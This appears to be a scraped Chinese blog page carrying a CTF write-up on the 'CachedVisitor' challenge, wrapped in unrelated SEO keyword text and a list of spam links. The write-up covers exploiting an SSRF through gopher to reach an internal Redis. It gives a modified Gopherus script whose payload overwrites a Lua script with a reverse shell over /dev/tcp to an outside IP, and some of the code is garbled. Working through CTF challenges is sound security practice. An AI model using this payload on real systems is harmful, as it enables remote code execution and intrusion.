当前位置: 首页 > news >正文

台州网站排名山东互联网公司排名

台州网站排名,山东互联网公司排名,建筑工程总承包合同范本,门户网站个人可以做明天开始考试周#xff0c;百无聊赖开了一把CTF#xff0c;还顺带体验了下二开工具#xff0c;让无聊的Z3很开心#x1f642; CachedVisitor这题 大概描述一下#xff1a;从main.lua加载一段visit.script中被##LUA_START##(.-)##LUA_END##包裹的lua代码 main.lua loca…明天开始考试周百无聊赖开了一把CTF还顺带体验了下二开工具让无聊的Z3很开心 CachedVisitor这题 大概描述一下从main.lua加载一段visit.script中被##LUA_START##(.-)##LUA_END##包裹的lua代码 main.lua local function read_file(filename)local file io.open(filename, r)if not file thenprint(Error: Could not open file .. filename)return nilendlocal content file:read(*a)file:close()return content endlocal function execute_lua_code(script_content)local lua_code script_content:match(##LUA_START##(.-)##LUA_END##)if lua_code thenlocal chunk, err load(lua_code)if chunk thenlocal success, result pcall(chunk)if not success thenprint(Error executing Lua code: , result)endelseprint(Error loading Lua code: , err)endelseprint(Error: No valid Lua code block found.)end endlocal function main()local filename /scripts/visit.scriptlocal script_content read_file(filename)if script_content thenexecute_lua_code(script_content)end endmain() visit.script ##LUA_START## local curl require(cURL) local redis require(resty.redis)ngx.req.read_body() local args ngx.req.get_uri_args() local url args.urlif not url thenngx.say(URL parameter is missing!)return endlocal red redis:new() red:set_timeout(1000)local ok, err red:connect(127.0.0.1, 6379) if not ok thenngx.say(Failed to connect to Redis: , err)return endlocal res, err red:get(url) if res and res ~ ngx.null thenngx.say(res)return endlocal c curl.easy {url url,timeout 5,connecttimeout 5 }local response_body {}c:setopt_writefunction(table.insert, response_body)local ok, err pcall(c.perform, c)if not ok thenngx.say(Failed to perform request: , err)c:close()return endc:close()local response_str table.concat(response_body)local ok, err red:setex(url, 3600, response_str) if not ok thenngx.say(Failed to save response in Redis: , err)return endngx.say(response_str) ##LUA_END## 题目预设的visit.script是与内网的redis通信可以打用gopher协议打redis任意文件写但题目没有计划任务考虑直接覆写/scripts/visit.script 因为有##LUA_START##(.-)##LUA_END##包裹所以不会被脏数据影响 直接用redis-over-gopher一直打不通 sec_tools/redis-over-gopher at master · firebroo/sec_tools · GitHub Gopherus有一段类似的逻辑它的反弹shell是通过覆盖计划任务文件来实现 于是这里通过修改gopherus的/scripts/Redis.py来生成payload import urllibdef Redis():def get_Redis_OverWrite():target_dir raw_input(input target dir: ) or /scriptsip raw_input(input rev ip: ) or 27.25.151.98port raw_input(input rev port: ) or 1337file raw_input(input target filename: ) or visit.scriptfile_len len(file)cmd ##LUA_START##os.execute(bash -c sh -i /dev/tcp/{}/{} 01)##LUA_END##.format(ip, port)len_cmd len(cmd) 5payload *1\r $8\r flushall\r *3\r $3\r set\r $1\r 1\r ${}\r{}\r *4\r $6\r config\r $3\r set\r $3\r dir\r ${}\r {}\r *4\r $6\r config\r $3\r set\r $10\r dbfilename\r ${}\r {}\r *1\r $4\r save\r.format(len_cmd, cmd, len(target_dir), target_dir, file_len, file)finalpayload urllib.quote_plus(payload).replace(, %20).replace(%2F, /).replace(%25, %).replace(%3A, :)print(\033[93m \nYour gopher link is ready to overwrite file: \n \033[0m)print(\033[04m gopher://127.0.0.1:6379/_ finalpayload \033[0m)print(\n \033[41m -----------Made-by-Z3r4y----------- \033[0m)get_Redis_OverWrite()直接打入 成功反弹shell
http://www.dnsts.com.cn/news/230702.html

相关文章:

  • Wordpress球队网站让人做网站需要准备什么软件
  • 搭建视频播放网站网站建设公司东莞
  • 重庆建设车业官方网站网站升级 云南省建设注册考试中心
  • 免费软件下载官网济南seo网站优化
  • 网站域名备案系统建设网站一般要多久到账
  • 网页设计与网站建设考试题二级域名站群
  • 深圳网站定制公司目前网站开发有什么缺点
  • 深圳坪山网站建设公司做网站怎么分手机版和电脑版
  • 个人网站备案不能盈利长沙市互联网加网站
  • 网站建立者成都公司网站设计
  • 网站建设平台赚钱东莞设计公司网站
  • 网站建设艾瑞市场分析在线资源链接
  • 自己建设一个平台网站多少钱php 做的应用网站
  • 建设门户网站的意义建站系统开发
  • 甘肃省城乡和住房建设厅网站唐河做网站
  • 黑龙江建设监理协会网站南京外贸网站建设公司
  • 新手做网站网站空间永久免费
  • 内蒙古建设银行网站产品展示型网站建设
  • wordpress 主题缓存公司搜索seo
  • 深圳网站建设网站制作钱宝网站怎么做任务
  • 给你一个网站你怎么做的网站建设评价
  • 郫县网站制作电脑培训班的课程
  • 西安网站建设网络公司熊掌号dw做框架网站
  • 网站开发要源码多少钱苏州建设工程招标网站
  • wordpress百度站内搜索绍兴建站服务
  • 小程序可以做网站吗乐陵seo营销
  • 网站设置专栏有什么好处做众筹网站有哪些
  • 网站好做吗python做网站设计
  • 购物网站开发用什么软件新楼盘
  • 在建项目信息查询平台wordpress 主机伪静态404.php seo